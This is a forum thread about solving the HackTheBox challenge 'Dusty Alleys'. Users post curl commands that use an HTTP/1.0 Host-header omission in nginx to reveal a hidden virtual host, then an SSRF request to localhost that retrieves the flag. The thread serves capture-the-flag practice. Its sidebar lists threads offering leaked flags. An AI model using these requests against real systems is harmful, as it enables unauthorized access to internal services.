HTB - Dusty Alleys
by x1rx - Saturday March 29, 2025 at 09:17 AM
#1
Let's solve together
Reply
#2
Vuln https://security.snyk.io/vuln/SNYK-JS-NODEFETCH-2342118
Reply
#3
1 - nginx http1.0 information leak
2 - ssrf
Reply
#4
What is the parameter to use?
Reply
#5
#get vhost by downgrade to http1.0
curl http://$IP:$PORT/think --http1.0 -H 'Host:'

#get flag
curl http://$IP:$PORT/guardian?quote=http%3A%2F%2Flocalhost%3A1337%2Fthink -H 'Host: guardian.firstalleyontheleft.com'
Reply
#6
(03-30-2025, 01:49 PM)ent0xE Wrote:
#get vhost by downgrade to http1.0
curl http://$IP:$PORT/think --http1.0 -H 'Host:'

#get flag
curl http://$IP:$PORT/guardian?quote=http%3A%2F%2Flocalhost%3A1337%2Fthink -H 'Host: guardian.firstalleyontheleft.com'

i dont understand the downgrading to expose the vhost, can you explain ?

(03-30-2025, 03:28 PM)pop10189 Wrote:
(03-30-2025, 01:49 PM)ent0xE Wrote:
#get vhost by downgrade to http1.0
curl http://$IP:$PORT/think --http1.0 -H 'Host:'

#get flag
curl http://$IP:$PORT/guardian?quote=http%3A%2F%2Flocalhost%3A1337%2Fthink -H 'Host: guardian.firstalleyontheleft.com'

i dont understand the downgrading to expose the vhost, can you explain ?

 Ohh nvm, now i understand In HTTP/1.0, the Host
header is optional. If the client does not send it, Nginx does not know which vhost to serve and will default to the first defined
server
block, which is: server_name alley.$SECRET_ALLEY
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 360 88,710 03-28-2026, 09:28 AM
Last Post: catsweet
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 23 2,348 03-28-2026, 03:30 AM
Last Post: lulaladrow
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 87 7,490 03-27-2026, 07:22 PM
Last Post: stn
  HTB Eloquia User and Root Flags - Insane Box 69646B 13 350 03-27-2026, 06:14 PM
Last Post: vlxw
  HTB - ALL Challenges you Stuck in osamy7593 2 646 03-27-2026, 04:24 PM
Last Post: catsweet



 Users browsing this thread: 1 Guest(s)